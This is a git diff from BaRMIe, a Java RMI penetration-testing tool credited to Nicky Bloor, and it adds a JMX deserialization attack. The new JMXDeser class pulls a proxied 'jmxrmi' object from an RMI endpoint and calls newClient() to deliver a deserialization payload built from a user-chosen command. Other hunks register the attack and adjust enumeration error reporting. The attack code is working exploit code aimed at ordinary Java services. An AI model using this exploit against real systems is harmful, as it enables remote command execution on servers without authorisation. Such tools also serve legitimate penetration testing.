diff --git a/src/nb/barmie/modes/attack/RMIAttackFactory.java b/src/nb/barmie/modes/attack/RMIAttackFactory.java index 8c17628..3579526 100644 --- a/src/nb/barmie/modes/attack/RMIAttackFactory.java +++ b/src/nb/barmie/modes/attack/RMIAttackFactory.java @@ -33,6 +33,7 @@ public class RMIAttackFactory { _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ListFiles()); //AxiomSL list files _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ReadFile()); //AxiomSL read file _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.WriteFile()); //AxiomSL write file + _attacks.add(new nb.barmie.modes.attack.attacks.Java.JMXDeser()); //JMX RMI deserialization attack } /******************* diff --git a/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java b/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java index ae65e99..368463b 100644 --- a/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java +++ b/src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java @@ -1,10 +1,6 @@ package nb.barmie.modes.attack.attacks.Java; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.InvalidClassException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; import java.io.Serializable; import java.net.InetAddress; import java.net.UnknownHostException; @@ -15,8 +11,6 @@ import java.rmi.UnmarshalException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; -import java.util.ArrayList; -import java.util.HashSet; import nb.barmie.exceptions.BaRMIeException; import nb.barmie.modes.attack.DeserPayload; import nb.barmie.modes.attack.RMIDeserAttack; diff --git a/src/nb/barmie/modes/attack/attacks/Java/JMXDeser.java b/src/nb/barmie/modes/attack/attacks/Java/JMXDeser.java new file mode 100644 index 0000000..3e05137 --- /dev/null +++ b/src/nb/barmie/modes/attack/attacks/Java/JMXDeser.java @@ -0,0 +1,63 @@ +package nb.barmie.modes.attack.attacks.Java; + +import javax.management.remote.rmi.RMIServer; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; +import nb.barmie.modes.attack.RMIDeserAttack; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Deliver a deserialization payload to a JMX RMI service, + * via the Object-type parameter to the 'newClient' + * method. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class JMXDeser extends RMIDeserAttack { + /******************* + * Set attack properties. + ******************/ + public JMXDeser() { + super(); + this.setDescription("JMX Deserialization"); + this.setDetailedDescription("JMX uses an RMI service which exposes an object of type RMIServerImpl_Stub. The 'newClient' method accepts an arbitrary Object as a parameter, enabling deserialization attacks."); + this.setRemediationAdvice("[JMX] Update Java to the latest available version"); + this.setAppSpecific(false); + } + + /******************* + * Check if the given endpoint can be attacked. + * + * @param ep An enumerated RMI endpoint. + * @return True if we can attack it. + ******************/ + public boolean canAttackEndpoint(RMIEndpoint ep) { + return ep.hasClass("javax.management.remote.rmi.RMIServerImpl_Stub") || ep.hasClass("javax.management.remote.rmi.RMIServer"); + } + + /******************* + * Execute the deserialization attack against the given RMI endpoint using + * the given payload. + * + * @param ep The enumerated RMI endpoint. + * @param payload The deserialization payload to deliver. + * @param cmd The command to use for payload generation. + ******************/ + public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { + RMIServer obj; + + //Launch the attack + try { + //Get the fully proxied target object + System.out.println("\n[~] Getting proxied jmxrmi object..."); + obj = (RMIServer)this.getProxiedObject(ep, "jmxrmi", payload.getBytes(cmd, 0)); + + //Call the newClient() method, passing in the default payload marker + System.out.println("[+] Retrieved, invoking newClient(PAYLOAD)..."); + obj.newClient(this.DEFAULT_MARKER_OBJECT); + } catch(Exception ex) { + //Check the exception for useful info + this.checkDeserException(ex); + } + } +} diff --git a/src/nb/barmie/modes/enumeration/EnumerationTask.java b/src/nb/barmie/modes/enumeration/EnumerationTask.java index a5125f5..7d52a51 100644 --- a/src/nb/barmie/modes/enumeration/EnumerationTask.java +++ b/src/nb/barmie/modes/enumeration/EnumerationTask.java @@ -2,6 +2,7 @@ import java.net.InetSocketAddress; import java.net.Socket; +import java.rmi.NoSuchObjectException; import java.util.ArrayList; import java.util.Collections; import nb.barmie.modes.attack.DeserPayload; @@ -143,14 +144,30 @@ public void run() { output += "[~] Gadgets may still be present despite CLASSPATH not being leaked\n"; } } + + //Add exceptions to the output + if(ep.getEnumException() != null) { + output += "[-] An exception occurred during enumeration.\n"; + output += " " + ep.getEnumException().toString() + "\n"; + } } else if(ep.isObjectEndpoint()) { + //Add endpoint data to output output += this._target.getHost() + ":" + this._target.getPort() + " appears to be an RMI object endpoint, rather than a registry.\n"; - } - - //Check for enumeration exceptions and append this to the output - if(ep.getEnumException() != null) { - output += "[-] An exception occurred during enumeration.\n"; - output += " " + ep.getEnumException().toString() + "\n"; + + //Add exception as long as it's not a NoSuchObjectException + if(ep.getEnumException() != null && (ep.getEnumException() instanceof NoSuchObjectException) == false) { + output += "[-] An exception occurred during enumeration.\n"; + output += " " + ep.getEnumException().toString() + "\n"; + } + } else { + //Check for exceptions + if(ep.getEnumException() != null) { + //Check for unsupported endpoints + if(ep.getEnumException().toString().toLowerCase().contains("non-jrmp") || ep.getEnumException().toString().toLowerCase().contains("error during jrmp")) { + output += this._target.getHost() + ":" + this._target.getPort() + " is non-RMI or RMI over SSL (not currently supported).\n"; + output += "[~] RMI over SSL support will come in a future release!\n"; + } + } } //Print the enumeration result